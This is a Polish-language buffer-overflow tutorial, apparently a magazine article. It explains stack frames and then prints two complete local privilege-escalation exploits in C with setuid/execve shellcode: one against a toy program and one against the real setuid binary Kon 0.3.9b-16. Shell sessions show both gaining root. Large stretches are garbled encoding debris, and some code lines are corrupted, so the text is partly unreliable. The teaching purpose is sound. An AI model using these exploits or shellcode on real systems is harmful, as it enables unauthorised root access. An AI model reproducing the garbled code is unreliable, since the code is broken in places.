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strcpy(), strcat(), sprintf(), vsprintf(), gets(). Niestety 
bezpieczne funkcje takie jak fgets(), oraz fgetc() czy getc() i getchar()
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jach z rodziny *printf() (syslog() tez). 
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buffer overflow (BO). 
 

2. Teoria 
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y sam jest abstrakcyjnym typem 
danych. Stos jest typu LIFO (Last In First Out). 
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stosu. Rysunek 1 opisuje operacje PUSH, a rysunek 2 opisuje operacje POP. 
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Listing 1. prolog.c 
void funkcja(in a1, int a2, int a3) {  
char buf1[5]; 
char buf2[10]; 
}  
 
int main() {  
funkcja(1,2,3); 
}  
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# cc -S -o prolog.s prolog.c 
# cat prolog.s 
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        pushl $3 
        pushl $2 
        pushl $1 
        call funkcja 
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        pushl %ebp 
        movl %esp,%ebp 
        subl $20,%esp 
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widzimy na listingu 2. 
 
Listing 2. victim1.c 
int main(int argc, char *argv[] ) {  
  char bufor[100]; 
   
  if (argv[1]==0) {  
  printf("Ussage %s <argument>\n",argv[0]); 
  exit(-1); 
  }  
  strcpy(bufor,argv[1]); 
  return 0; 
}  
 

l�T�o

•

e�a�g�YIb

•

e�a�r�e�PCR

•

e�OCb6Q�R3S4Q6T•P�e�r&S-RyTCo�Y,NŽr�a�d�a

•

N•S4Q6THu�aiW-S*‡�a�e�S

•

e!O?TCOi‡KS-o�d�M!Q6nGc•d-Y$Z&e�PVo�N�Tig

•

e�P`[Vu&O�P

u�†FS�r�a�h M?NxMGNItBr�S

•

a�u-PBo�T�Q�u�sFP‘o*N�T�QXQ6PBd�a’P�e�r�S�RyT�o�Yq“�gJYIeJM

•

b*“K”�”�k�•�PGa�[Va-MGa�[VPB„�YKa�R�a&–GT

•

e�OGT

•

T�†Fo�NITCo*N�TCR

W�S�‡�a�e�S�cmr�u&b

•

a-u�P�R•bHQ6P�d�a‘P�e�r&S�RiT�o�Y—M�N�tBr

•

e�O?T�d-e�PGMCO?P!Q6t?M`b˜NFsIa�hp„3R‰N�T!QCg�MGP•[™W�S�‡�a�e�O?T�NšRya&–�T3o�PBu

•

N$g<P?„

PGu&e�T&g

•

a�[qe�a&YIo�b ‡KS�o-d�M�Q4NŠk\}•eJa-MBT�g�a�e›d�a&œ�MCO?tGM•[(b-d�a&o�PCo�NITž‡KS-o�d�M!Q4NŸW�nGu&O�NFT•R‰N�P�† PGu&e�T�g�c  który •

e�P`[Vu-a

•

a-u�a&W�o�N�T(o�NFTmQ4T?gpY

•

e�OGT�OBo�PGMCO�a&o�byu�s�P(o*N�TGr-a3N¡MBP�†$PxYKPXa

•

T�e�P?M�Q6PVg<d�a�œ�MCO�b‰g�N�n(W-†=n?u-T�RŸg�TGr&RiT�o�YKPGM�Q`N

“

€

TBr�RyTBo�Y$PCYŠN�a�o3‡�PBS�s¢Y$”�k?•�u-T�W-S�r�S6Q�R•b>YKT�e�P�Oxo�P�gpO

•

eJa�r�e�PCR£W�big6N�n¤Y$TCRiS

•

e�O�b6Q�e�OGT?„ – listing 3. 
 
 ¥�¦$§�¨�¦‹©�ªV«|¬G­>®C¯�°�ª�±&²>³�©�¦I®w´-µ�±�ª&µ�³�¶•°•·¤´-µ�·B¸-¹-º$³B»&°¼¬

 



root@localhost:~# gdb victim1 
GNU gdb 5.0 
Copyright 2000 Free Software Foundation, Inc. 
GDB is free software, covered by the GNU General Public License, and you are 
welcome to change it and/or distribute copies of it under certain conditions. 
Type "show copying" to see the conditions. 
There is absolutely no warranty for GDB.  Type "show warranty" for details. 
This GDB was configured as "i386-slackware-linux"... 
(gdb) r `perl -e 'print "A"x108'`     // komenda “r” oznacza “run” ½B¾C¿�ÀFÁ�Â�Ã�Â�½BÄ�Å�ÆyÁFÇ¤È-ÃJÅ-É�Ã�Ê�Æ‰Ë�Ê¤È�Å>Ì*Á�Í�Î

                                                      // Ï6Á�ÐxÈ�Å-Ñ�Ê�Î`ÍwÌ�Å�Ã�Æ�ÊGÀ‹Ì*ÁFÍwÈ�Ê�ÃJÊCÆyÍCÒIÃ�¿iÓŠÊCÃJÉ�Â-ÆyÍ�Ì-ÒF¿�Ô�Õ  
Starting program: 
/root/victim1 ̀ perl -e 'print "A"x108'` 
Program received signal SIGSEGV, Segmentation fault. 
0x41414141 in ?? () 
(gdb) info reg eip                         // info pokazoje informacje o czym chcemy reg to skrut od  
                                                               // registers – czyli rejestry a eip to nazwa interesujacego nas 
                                                               // rejestru... 
eip            0x41414141       0x41414141 
(gdb) quit                                               // wychodzimy z programu... 
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[ instrukcje NOP ] [  nasz shellcode ] [  zmieniony RET ] 
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ret=0xc0000000-strlen(shellcode)-strlen(program)-4; 
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(listing 4). 
 
Listing 4. exp1.c 
Ë�Ì�Í2Î�Ï;Ð4Ñ4Ò!Ó�Ô)ÕXÖV×'Ö
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#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <unistd.h> 
#include <getopt.h> 
 
#define PATH "./victim1"  /

ËgÜ5ÓFÙ;Ý)Í2ÎeÞ�ß�Ó�à�Ø�×'Þ$Ú!á�Î$Ü�ß�Î2á�ßIÓ�Ô)â

 
#define BUFS 110              // buffor podany jako argument 
#define SHELL 512            // pomocniczy buffor 
#define NOP 0x90              // instrukcja NOP 
 
/* nasz shellcode z 2 dodatkowymi funkcjami * / 
unsigned char shellcode[] = 
  "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" // setuid(0); 
  "\x31\xc0\x50\x50\xb0\xb5\xcd\x80" // setgid(0); 
  "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69" 
  "\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"; 
  
Ë�Ìeã@â�ä2Û5ÑEå^ÓUÛ�ÙDæ�ß�Ó9Î�Ö
Ø�×:Ñ�Ò!ÓUÜ2ßMÒ4Õ2Ö
Ø�×[à�Î7ä2ÕSÓ4Í�ß�Ú�çcÜ5Î7Þbß�Î7Ù;ä�ÕdÌ�Ë

 
long ret_ad(char *a1, char *a2) {  
 
   return (0xc0000000-strlen(a1)-strlen(a2)-4); 
}  
     
Ë�Ìeã@â�ä2Û5ÑEå^ÓUÛ�ÙDæ�ß�Ób×'äVãMÎ�ßMÔLâ^å^Ú~å^Ó�ÛYâ2à�Õ�Þ$Ó!è�ä
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int ussage(char *arg) {  
 
   printf("\n\t...::: -=[ exploit na program vuln1 ]=- :::...\n"); 
   printf("\n\tUssage:\n\t[+] %s [options]\n 
            -? <this help screen> 
     -o <offset> 
     -p PATH\n\n",arg); 
   exit(-1); 
}  
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int main(int argc, char *argv[] ) {  
    
   /* lokalne zmienne pomocnicze * / 
   long ret,* ret_addr; 
   char *buf,*buf_addr,*buf_addr2,*path=PATH,*sh; 



   int i,opt,offset=0; 
   FILE * fp; 
       
   while((opt = getopt(argc,argv,"p:o:?")) != -1) {  
         switch(opt) {  
   
   case ©o©: 
    
     offset=atoi(optaêIë7ìQí�î:îgï5ðEðIñQò�ómô5ï�õ2ö�÷2øYô2êEù!ò�ùUú�û�ø�ó;ü5ï�ýe÷
þ[ü5ö  
     break; 
      
   case ©p©: 
   
     path=optarg;          // path do vuln1 programu 
     break; 
    
   case ©?©: 
    
     ÿ����������
	��
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     break; 
      
   default: 
    
     ussage(argv[0]) � �&���'�"�Yÿ� 
!�#(��%  
     break; 
      
  }  
   }  
    
   /* Sprawdzamy czy program istnieje * / 
   if ( (fp=fopen(path,"r"))==NULL) {  
      printf("\n*\tI can\©t open path to victim! - %s\t* \n\n",path); 
      ussage(argv[0]); 
   }  
    
   /* alokujemy miejsce na nasz bufor podany jako argument * / 
   if (!(buf=(char*)malloc(BUFS))) {  
      printf("\nI can\©t locate memory! - buf\n"); 
      exit(-1); 
   }  
    
   /* alokujemy miejsce na nasz bufor pomocniczy * / 
   if (!(sh=(char*)malloc(SHELL))) {  
      printf("\nI can\©t locate memory! - shell\n"); 
      exit(-1); 
   }  
    
   printf("\n\t...::: -=[ exploit na program vuln1 ]=- :::...\n"); 
   printf("\n\t[+] Bulding buffors!\n"); 
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   ret_addr=(long*)ret+offset;  // dodajemy offset - dodajemy a nie odejmujemy 
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   printf("\t[+] Using adres 0x%x\n",ret_addr); 
    
   /* przygotowanie do zapisu adresu powrotnego */ 
   buf_addr=buf; 
   buf_addr2=buf_addr; 
    
   /* zapisujemy do buforu podanego jako argument adres powrotny * / 
   while(buf_addr2-buf <= BUFS-5) {  
     (* (unsigned long*)buf_addr2)=ret_addr; 
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   }  
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   buf_addr2[BUFS-4]=©\0©; 
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   for(i=0;i<(SHELL);i++) 
     sh[i]=NOP; 
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   zapisywany shellcode * / 
   buf_addr = sh + ((SHELL)-strlen(shellcode)-1); 
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   for(i=0;i<strlen(shellcode);i++) 
     *(buf_addr++) = shellcode[i]; 
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zy * / 
   sh[SHELL] = ©\0©; 
     
   printf("\nExecuting the vuln program - %s\n\n",path); 
 
   /* uruchamiamy nasz program, a jako argument podajemy nasz bufor * / 
   execl(path,path,buf,0); 
    
   return 0; 
}  
 
Skompilujemy teraz nasz epxloit i  zobaczymy czy 
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# chmod +x victim1 
$ cc exp1.c -o exp1 
$ whoami 



user 
$ ./exp1 
... 
# whoami 
root 
# 
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Listing 5. Debugowanie kon’a. 
root@localhost:~# gdb kon 
GNU gdb 5.0 
Copyright 2000 Free Software Foundation, Inc. 
GDB is free software, covered by the GNU General Public License, and you are 
welcome to change it and/or distribute copies of it under certain conditions. 
Type "show copying" to see the conditions. 
There is absolutely no warranty for GDB.  Type "show warranty" for details. 
This GDB was configured as "i386-slackware-linux"...(no debugging symbols 
found)... 
(gdb) r -Coding Áperl -e ©print "A"x800©Á 
Starting program: /usr/bin/kon -Coding Áperl -e ©print "A"x800©Á 
Kanji ON Console ver.0.3.9 (2000/04/09) 
 
KON> video type VGA© selected 
KON> hardware scroll mode. 
 
Program received signal SIGSEGV, Segmentation fault. 
0x41414141 in ?? () 
(gdb) info reg eip 
eip            0x41414141       0x41414141 
(gdb) quit 
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Listing 6. exp2.c 



#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <unistd.h> 
#include <getopt.h> 
 
#define PATH "/usr/bin/kon" 
#define BUFS 800 
 
/*    ...::: -=[ www.pi3.int.pl ]=- :::...    */ 
 
char shellcode[] = "\x31\xdb\x31\xc0\x31\xd2\xb2\x2d\x6a\x0a\x68\x3a" 
                   "\x2e\x2e\x2e\x68\x2d\x20\x3a\x3a\x68\x6c\x20\x5d" 
                   "\x3d\x68\x6e\x74\x2e\x70\x68\x69\x33\x2e\x69\x68" 
                   "\x77\x77\x2e\x70\x68\x3d\x5b\x20\x77\x68\x3a\x3a" 
                   "\x20\x2d\x68\x2e\x2e\x2e\x3a\x89\xe1\xb0\x04\xcd" 
                   "\x80" 
 
/*    setuid(0)    */ 
 
                   "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" 
 
/*    setgid(0)    */ 
 
                   "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" 
 
/*    exec /bin/sh    */ 
 
                   "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" 
                   "\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd" 
                   "\x80" 
 
/*    exit(0)    */ 
 
                   "\x31\xdb\x89\xd8\xb0\x01\xcd\x80"; 
 
long ret_ad(char *a1, char *a2) {  
    
   return (0xbffffff a-strlen(a1)-strlen(a2)); 
}  
 
int ussage(char *arg) {  
    
   printf("\n\t...::: -=[ exploit for Kon version 0.3.9b-16 (by pi3) ]=- :::...\n"); 
   printf("\n\tUssage:\n\t[+] %s [options]\n 
     -? <this help screen> 
     -o <offset> 
     -p PATH\n\n",arg); 
   exit(-1); 
}  



 
int main(int argc, char *argv[] ) {  
    
   long ret,*buf_addr; 
   char *buf,*path=PATH; 
   static char *sh[]={ shellcode,NULL} ; 
   int i,opt,offset=0; 
   FILE * fp; 
    
   while((opt = getopt(argc,argv,"p:o:?")) != -1) {  
  switch(opt) {  
        
   case ©o©: 
 
     offset=atoi(optarg); 
     break; 
      
   case ©p©: 
      
     path=optarg; 
     break; 
      
   case ©?©: 
   default: 
      
     ussage(argv[0]); 
     break; 
  }  
   }  
    
   if ( (fp=fopen(path,"r"))==NULL) {  
      printf("\n*\tI can\©t open path to victim! - %s\t* \n\n",path); 
      ussage(argv[0]); 
   } fclose(fp); 
    
   if (!(buf=(char*)malloc(BUFS))) {  
      printf("\nI can\©t locate memory! - buf\n"); 
      exit(-1); 
   }  
    
   printf("\n\t...::: -=[ exploit for Kon version 0.3.9b-16 (by pi3) ]=- :::...\n"); 
   printf("\n\t[+] Bulding buffors!\n"); 
 
   ret=ret_ad(shellcode,path); 
   ret+=offset; 
    
   printf("\t[+] Using adres 0x%x\n",ret); 
    
   buf_addr=(long*)buf; 
    



   for(i=0;i<BUFS;i+=4) {  
    *(buf_addr) = ret; buf_addr++; 
   }  
 
   printf("\nExecuting the vuln program - %s\n\n",path); 
    
   execle(path,path,"-Coding", buf, 0, sh); 
    
   return 0; 
}  
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$ whoami 
user 
$ ls –alh /usr/bin/kon 
-rwsr-xr-x    1 root     root          45k Jul  5 20:57 /usr/bin/kon* 
$ cc exp2.c -o exp2 
$ ./exp2 
... 
KON> video type VGA© selected 
KON> hardware scroll mode. 
 
...::: -=[ www.pi3.int.pl ]=- :::… 
# whoami 
root 
# 
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h"i;j)k,lSm"n o2p�m_hqn$p�m^rUp�m2s*t u vxwqy,k9z3u(iYk�{x| Pu(} hA~Ji3•�l•€en hq‚(•(p>k,i;ƒ[r„r'k(…†zR~J} ‚‡‚,m2h"lVu(n9p�mcˆ<} m"‰�n$m^hE‚(Š pJ‹xu�iB€

lVu(Œ2n h5•2n h2s�m"•2w\} u�‚Uh2‚�i;mE‹xm"l http://www.securityfocus.com/archive/1/338436): 
 
int SockPrintf(FILE *sockfp, char * format,...) 
{  
    va_list ap; 
    char buf[32768]; 
 
    va_start(ap, format); 
    vsprintf(buf, format, ap); 
    va_end(ap); 
    return SockWrite(buf, 1, strlen(buf), sockfp); 
}  
 Ž

•Ep>k�i;hArDh•zBk,n,t$o3•Oh’‘ u�oAt,“”i7p>n,~
•Om)‹7~�‚ s�h�~Bm�j�u •�p>Œek�Œ"€�rDh–zRk,n�t o;•Op•Š$‹—},i7p*n�~Bz˜t,~R™(i7h‡n$p�m•‹š},i;h"rF‚�•Eh›oEp�œ2j(k

h"i;j)k,lSm"n�~<™(r•},iY•EmA••o�už•OmE‹š~†lVu(ŒEsJparDm�},i3•)mA} m"‰�n9p�mAn9p�m5y�k$z3u�i;h�|�ŸCp�m(‹;~RmA~�€Ch"t,k,i7h�~ r•~�€,l¡},i3•�€,} h2‚(t,kU~<h\‚(•)p>k,išh

n9p�mf•Om)‹7~†lKu�Œ)s�p>rDh'‚,u•r•€,t u�i3•A€9‹š~<h�n$p�h,|E“�u•r•p�ƒEo�m3•5p>n$zYu(i3lVhEo3•Op u,‚ ‹š€,‰Jh"l¢‚�u } m"‰�n$m�j�uUhE‚(Š$p�‹xu�iB€”|  
Ž

k,Œ2uct u(lVmAi7oA€g•£n m2j�ucu(}�i;u,j)i7hAlSu)rDh"n9p�hWt u�i3•A€9‹š~<hW•W~<mEoA¤,n$u�s�u�j,p�p Open Source. Niekt� re bugi jednak 
lVu,j�œVy�€ wCy$hAi;‚�•Eu�},i;u$‹7~Ru�r'€,t�iB€�~<mV} u(}�i3•2m"•V•Ar'€�t,‰JmC}�i3•EmA~<mE‹š~<u)rUhAn9p�mC•Ky h"i;‚(•)uM‚(‰�k$j,p>l�} hAi7hAlSm�~�i7m"l¥‚�u

t$hAŒE‚�m3•�‚,u ‹7~Rƒ"},n mY•¦u�} o3•�p },i7u,j)i;h�lCk”|(§
‚(€•kg•£i3•"€,l�€••"n$hAn$m�n h"l¨‘$m gmentation fault zdebugujcie program 
i napiszcie exploita ;). 
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n$zYu(i3lVh�o;•gm u n$h3•£n u)r�‹—•A€ oA¤ u,‚�t,iB€,~�€ o�¤ y,k$j�h�o�¤ ‹xœ ‚�u ‹š~<ƒA}�n m n h s�p�vxo2p�m y,k j)~�i7h2ª
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stronie packetstorm (http://www.packetstormsecurity.nl). 
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